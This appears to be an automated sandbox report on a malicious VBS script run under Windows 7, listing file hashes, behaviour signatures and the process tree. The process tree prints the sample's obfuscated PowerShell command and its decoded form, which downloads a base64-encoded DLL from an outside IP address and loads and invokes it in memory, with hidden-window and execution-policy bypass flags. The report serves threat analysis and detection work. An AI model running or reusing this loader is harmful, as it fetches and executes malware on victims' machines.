Analysis
-
max time kernel
38s -
max time network
44s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
01/09/2022, 19:12
Static task
static1
Behavioral task
behavioral1
Sample
7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs
Resource
win7-20220812-en
General
-
Target
7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs
-
Size
205KB
-
MD5
55f65c5be5331616022acfa14b13cf0d
-
SHA1
5715298639b8fa40e9621a9a1e5f4e12feb801ab
-
SHA256
7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab
-
SHA512
eaa7b7cea085d6703ad604cef958426b05da22930e451f65676b0f57631e0c7328ec089b8480debc41c2ecefddd8a7e173c4f9acce5baea72476fa983f934153
-
SSDEEP
96:W6Ww7isRFEDD7174KWOktsKFSG4qYk/uU95coQ18HE:l/FEDHxIBKoTjcX18k
Malware Config
Extracted
http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 856 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1672 powershell.exe 856 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1672 powershell.exe Token: SeDebugPrivilege 856 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1132 wrote to memory of 1672 1132 WScript.exe 27 PID 1132 wrote to memory of 1672 1132 WScript.exe 27 PID 1132 wrote to memory of 1672 1132 WScript.exe 27 PID 1672 wrote to memory of 856 1672 powershell.exe 29 PID 1672 wrote to memory of 856 1672 powershell.exe 29 PID 1672 wrote to memory of 856 1672 powershell.exe 29
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBRAFcARQBSAFQAWQAvAEMA⌚⌚⌚gB⌚⌚⌚AFoALwBEAGwAbABmADMALgB0AHgAdAAnACkAKQA7AFsA⌚⌚⌚wB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAHgASwB2AEsAawB1AE4AWgAuAF⌚⌚⌚ARwBsAHkAbQB6AF⌚⌚⌚AZwAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcAVQBEAHMA⌚⌚⌚wBpAEQAYgBiACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMgBYAFoALwB3AG⌚⌚⌚AbgAvAHQAcwBlAHQALwA5ADQALgA5ADEALgAxADQAMgAuADEAOQAvAC8AOgBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwB3AG⌚⌚⌚AZAAzADcAMwBrAE4ASABpAGgAZgBvADkAMAA4ADMANwA4ACYAJAAhACIAIwAkAC⌚⌚⌚AJgB1AGgAaABqAGYAbgA3AHcAZAAnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.2XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , 'wed373kNHihfo908378&$!"#$%&uhhjfn7wd' ))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:856
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5b72302410df776ef904e98ab14a38564
SHA1214976c691d0d2cfd9d95b96ec81c9f0cf5999c7
SHA256c8d92034706bf1c085908967c23bc4ee67482129546a76fab4cda75d3756cc94
SHA512802f237d68c2b67c529d3a455c8dad409c66f16b50d9b6b0d31195b131828f719fe1bb8bfb5dee730561ae687e83ad7cfba29c493b883b91c0764c620a9d65c3